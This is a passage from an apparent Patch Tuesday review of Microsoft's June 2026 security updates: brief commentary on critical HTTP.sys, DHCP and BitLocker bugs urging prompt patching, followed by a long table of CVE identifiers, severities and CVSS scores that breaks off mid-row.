Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  